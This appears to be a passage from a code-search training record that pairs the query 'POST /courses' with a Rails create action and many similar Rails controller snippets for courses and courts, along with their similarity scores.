"def show\n @study_course = StudyCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @study_course }\n end\n end",
"def index\n query = params[:q]\n @courses = query ? Course.search(query) : Course.all.order(:id)\n\n render json: @courses\n end",
"def index\n \n if can? :update, @course #instructor \n @courses = current_user.subjects #Course.where(:user_id => current_user.id) #courses that person teaches\n else\n @courses = current_user.courses \n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def index\n @courts = Court.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def get_single_course_courses(id,include,opts={})\n query_param_keys = [\n :include\n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n raise \"include is required\" if include.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id,\n :include => include\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n Course.new(response)\n end",
"def list_courses\n if current_user.is_admin?\n @user = User.find(params[:id])\n @courses = @user.courses\n respond_to do |format|\n format.xml { render :xml => @courses }\n end\n else\n respond_to do |format|\n format.xml { render :text => \"error\" }\n end\n end\n end",
"def show\n #@course = Course.find(params[:course_id])\n @course_lesson = CourseLesson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course_lesson }\n end\n end",
"def courses\n request(COURSES_URL, {}, 'GET').map do |course|\n Course.new(self, course)\n end\n end",
"def index\n @current_user = User.find_by_id(session[:user_id])\n @courses = @current_user.courses.paginate page: params[:page], order: 'created_at asc', per_page: 25\n if @current_user.courses.empty?\n redirect_to new_course_url, notice: \"You Have No Courses Yet\"\n return\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def index\n @courts = Court.all\n end",
"def show\n @course_category = CourseCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course_category }\n end\n end",
"def new\n @course = Course.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @assessment_course = AssessmentCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assessment_course }\n end\n end",
"def show\n @court = Court.friendly.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def show\n @course_request = CourseRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course_request }\n end\n end",
"def show\n @course = Course.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @course = Course.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end"
] |
[
"0.7639248",
"0.7600732",
"0.7561499",
"0.7498261",
"0.7492566",
"0.7492566",
"0.7460362",
"0.7459336",
"0.7438278",
"0.7280991",
"0.7248682",
"0.7241407",
"0.723878",
"0.72222453",
"0.72222453",
"0.72222453",
"0.72222453",
"0.72222453",
"0.72222453",
"0.721023",
"0.71961445",
"0.7176137",
"0.71723205",
"0.71608883",
"0.71429384",
"0.71275723",
"0.7109096",
"0.710453",
"0.70959777",
"0.7086524",
"0.70511097",
"0.70144516",
"0.70103335",
"0.69955844",
"0.6995095",
"0.69948006",
"0.69911087",
"0.69872206",
"0.6982276",
"0.6972223",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6969603",
"0.6962494",
"0.6960013",
"0.6957612",
"0.6955127",
"0.6948716",
"0.69405997",
"0.69362515",
"0.6913349",
"0.6903795",
"0.68959415",
"0.6884874",
"0.6872327",
"0.6870878",
"0.68597114",
"0.6853467",
"0.68510145",
"0.6824737",
"0.6815046",
"0.6800382",
"0.6788517",
"0.67855954",
"0.6782395",
"0.6776448",
"0.67733794",
"0.6766255",
"0.67600936",
"0.67587054",
"0.6756013",
"0.67511064",
"0.6749037",
"0.67460793",
"0.67350477",
"0.67350477",
"0.67350477",
"0.67350477",
"0.67350477"
] |
0.0
|
-1
|
POST /courses POST /courses.json
|
def create
@course = current_teacher.courses.new(course_params)
respond_to do |format|
if @course.save
format.html { redirect_to courses_url, notice: 'Course was successfully created.' }
format.json { render :show, status: :created, location: @course }
else
format.html { render :new }
format.json { render json: @course.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n # render plain: params[:courses].inspect\n @courses = Courses.new(courses_params)\n\n respond_to do |format|\n if @courses.save\n format.html { redirect_to @courses, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @courses }\n else\n format.html { render :new }\n format.json { render json: @courses.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(courses_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n course = Course.new(course_params)\n\n if course.save\n render json: course, status: :created\n else\n render json: course.errors, status: :unprocessable_entity\n end\n end",
"def create\n @course = Course.new(course_params)\n @course.save\n render_jsonapi_response(@course)\n end",
"def create\n \n @course = current_user.courses.build(course_params)\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: \"Course was successfully created.\" }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = current_teacher.courses.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :manage, Course\n @course = Course.new(course_params)\n @course.course_sections.each do |course_section|\n course_section.name = \"#{@course.name} #{course_section.grade_section.name}\"\n end\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_url, notice: 'Curso creado satisfactoriamente' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_path(), notice: 'El curso fue exitosamente creado.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { redirect_to new_course_path, notice: \"Debe escribir por lo menos el nombre del curso para crearlo.\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course ' + @course.course_id + ' was successfully created!' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, :notice=> 'Curso creado' }\n format.json { render :json=> @course, :status=> :created, :location=> @course }\n else\n format.html { render :action=> \"new\" }\n format.json { render :json=> @course.errors, :status=> :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: \"Course was successfully created.\" }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n respond_to do |format|\n if @course.save\n\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render action: 'show', status: :created, location: @course }\n else\n format.html { render action: 'new' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n \n format.html { redirect_to @course, notice: 'course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n ppp @course.errors.full_messages\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to admin_courses_path, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Curso criado com sucesso.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to [:admin, @course], :notice => 'Course was successfully created.' }\n format.json { render :json => @course, :status => :created, :location => @course }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to static_pages_admin_url, notice: 'Course was successfully created.' }\n format.json { render action: 'show', status: :created, location: @course }\n else\n format.html { render action: 'new' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_course\r\n @course = Course.create(fast_course_params)\r\n respond_to do |format|\r\n if @course.save\r\n format.html { redirect_to courses_path, notice: 'Course was successfully created.' }\r\n format.json { render courses_path, status: :created, location: @course }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @course.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def new\n @course = Course.new\n 2.times do\n course=@course.students.build\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end",
"def create\n @course = Course.new(course_params)\n\n #section_chunks = get_chunks(params)\n sections = JSON.parse(params['sections'])\n\n # The course has been created by the signed-in user.\n @course.user_id = current_user.id\n respond_to do |format|\n if @course.save\n # Save the course's subcomponents to the course.\n update_section_chunks(sections)\n\n format.html { redirect_to @course }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render new_course_path }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n # Add the course just created to this student's courses, better use the drop down list \n if params[:course] != nil then\n @student.courses << Course.find(params[:course][:id])\n end\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def courses_all\n call_path = \"courses/all\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end",
"def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @semester ? semester_course_path(@semester, @course) : @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:course][:user_id]=current_user.id\n \n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.find(params[:course_id])\n @question = @course.questions.build(params[:question])\n @question.save\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @course, notice: 'Question was successfully created.' }\n format.json { render json: @course, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n @course.user = current_user\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: \"Course was successfully created.\" }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def courses\n @courses = Course.where(faculty_id: params[:faculty_id]).order(:name)\n respond_to do |format|\n format.json { render json: @courses }\n end\n end",
"def create\n\t\tcourse = Course.new(course_params)\n\t\tif course.save\n\n\t\t params[:course][\"major_id\"].each do |major_id|\n\t if !major_id.empty?\n\t course.major << Major.find(major_id)\n\t end\n\t end\n\n\t params[:course][\"minor_id\"].each do |minor_id|\n\t if !minor_id.empty?\n\t course.minor << Minor.find(minor_id)\n\t end\n\t end\n\n\t params[:course][\"concentration_id\"].each do |concentration_id|\n\t if !concentration_id.empty?\n\t course.concentration << Concentration.find(concentration_id)\n\t end\n\t end\n\n\t params[:course][\"distribution_id\"].each do |distribution_id|\n\t if !distribution_id.empty?\n\t course.distribution << Distribution.find(distribution_id)\n\t end\n\t end\n\n\t\t\tredirect_to '/courses'\n\t\telse\n\t\t\tflash[:danger] = \"The form you submitted is invalid.\"\n\t\t\tredirect_to '/courses/new'\n\t\tend\n\tend",
"def create(params)\n response = self.class.post(\n '/webservice/rest/server.php',\n {\n :query => query_hash('core_course_create_courses', token),\n :body => {\n :courses => {\n '0' => {\n :fullname => params[:full_name],\n :shortname => params[:short_name],\n :categoryid => params[:parent_category],\n :idnumber => params[:idnumber]\n }\n }\n }\n }.merge(query_options)\n )\n check_for_errors(response)\n response.parsed_response.first\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to admin_course_url(@course), notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course added. Warning no Instructor assigned. Go to the manage user history tab and add instructor' }\n format.json { render action: 'show', status: :created, location: @course }\n else\n format.html { render action: 'new' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @court = Court.new(params[:court])\n\n respond_to do |format|\n if @court.save\n format.html { redirect_to @court, notice: 'Court was successfully created.' }\n format.json { render json: @court, status: :created, location: @court }\n else\n format.html { render action: \"new\" }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params) # crea un curso con todos los parametros que le envia el formulario\n @course.save\n @courses = Course.all # aqui consultamos por todos los cursos\n render :index # y pintamos otra vez la lista de cursos\n\n end",
"def create\n @course = Course.new(course_params)\n \n respond_to do |format|\n if @course.save\n #format.html { redirect_to course_build_path(:id =>\"courseinfo\", :course_id => @course.id), notice: \"Course Created\" }\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n @course.publisher = current_user\n respond_to do |format|\n if @course.save\n format.html { redirect_to new_course_lesson_path(@course), :notice => 'Course was successfully created.' }\n format.json { render :json => @course, :status => :created, :location => @course }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @course = @student.courses.new(params[:course])\n @course.save\n redirect_to @course.student\n end",
"def create\n @courses_teacher = CoursesTeacher.new(courses_teacher_params)\n\n respond_to do |format|\n if @courses_teacher.save\n format.html { redirect_to @courses_teacher, notice: 'Courses teacher was successfully created.' }\n format.json { render :show, status: :created, location: @courses_teacher }\n else\n format.html { render :new }\n format.json { render json: @courses_teacher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @course = Course.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end",
"def new\n @course = Course.new\n 1.times { @course.lessons.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end",
"def create\n @enrolled = Enrolled.new(:student_id => current_student.student_id, :course_id => params[:course_id])\n\n respond_to do |format|\n if @enrolled.save\n format.html { redirect_to @enrolled, notice: 'Enrolled was successfully created.' }\n format.json { render json: @enrolled, status: :created, location: @enrolled }\n else\n format.html { render action: \"new\" }\n format.json { render json: @enrolled.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @curriculum_course = CurriculumCourse.new(curriculum_course_params)\n\n respond_to do |format|\n if @curriculum_course.save\n format.html { redirect_to @curriculum_course, notice: 'Curriculum course was successfully created.' }\n format.json { render :show, status: :created, location: @curriculum_course }\n else\n format.html { render :new }\n format.json { render json: @curriculum_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = CourseAccount.new(id_user:11,id_course: params[:course],coin:5000)\n @course.save()\n session[:id_course] =params[:course]\n render :json =>[@course,session[:id_course]]\n\n end",
"def create\n @court = Court.new(court_params)\n\n respond_to do |format|\n if @court.save\n format.html { redirect_to @court, notice: 'Court was successfully created.' }\n format.json { render :show, status: :created, location: @court }\n else\n format.html { render :new }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n \n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @course.class.model_name.human) }\n format.json { render :json => @course, :status => :created, :location => @course }\n format.js\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n if @course.save\n flash[:success] = \"Curso criado com sucesso\"\n redirect_to courses_path\n else\n flash[:error] = \"Não foi possível criar o curso\"\n redirect_to courses_path\n end\n end",
"def create\n @course = Course.new(course_params)\n @course.description = \"Curriculum Description\"\n @course.short_description = \"Marketing Description\"\n authorize @course\n @course.user=current_user\n respond_to do |format|\n if @course.save\n format.html { redirect_to course_course_wizard_index_path(@course), notice: \"Course was successfully created.\" }\n format.json { render :show, status: :created, location: @course }\n else\n @tags = Tag.all\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_course = UserCourse.new(user_course_params)\n respond_to do |format|\n if @user_course.save\n format.html { redirect_to @user_course, notice: 'User course was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_course }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_course = Admin::Course.new(admin_course_params)\n\n respond_to do |format|\n if @admin_course.save\n format.html { redirect_to @admin_course, notice: t('crud.created_successfully!', name: Admin::Course.model_name.human) }\n format.json { render :show, status: :created, location: @admin_course }\n else\n format.html { render :new }\n format.json { render json: @admin_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @course = Course.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def index\n @courses = Course.all\n render json: @courses, status: :ok\n end",
"def create\n course_name = params[:text].to_s\n course = Course.create(name: course_name)\n CourseInstructor.create(course: course, instructor: current_user.instructor)\n\n @courses = current_user.instructor.courses.collect{ |course|\n {\n name: course.name,\n id: course.id\n }\n }\n\n render :template => \"home/index\"\n end",
"def course\n\t\t@course = Course.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html\n format.json { render json: @course }\n end\n end",
"def create\n # @course = Course.new(course_params)\n\n CourseBuilder.build do |builder|\n builder.set_code(course_params['code'])\n builder.set_title(course_params['title'])\n builder.set_instructor(course_params['instructor'])\n builder.set_semester(course_params['semester'])\n builder.set_credit(course_params['credit'])\n builder.set_room(course_params['room'])\n builder.set_evaluation(course_params['midterm'], course_params['final'], course_params['assignment'], course_params['project'])\n\n @course = builder.course\n end\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_url, notice: 'Course was successfully created.' }\n format.json { render :index, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n @courses = Course.all\n @users = User.all\n respond_to do |format|\n if @question.save\n format.html { redirect_to course_path(Course.find(@question.course_id))}\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @people_course = PeopleCourse.new(people_course_params)\n\n respond_to do |format|\n if @people_course.save\n format.html { redirect_to @people_course, notice: 'People course was successfully created.' }\n format.json { render :show, status: :created, location: @people_course }\n else\n format.html { render :new }\n format.json { render json: @people_course.errors, status: :unprocessable_entity }\n end\n end\n end",
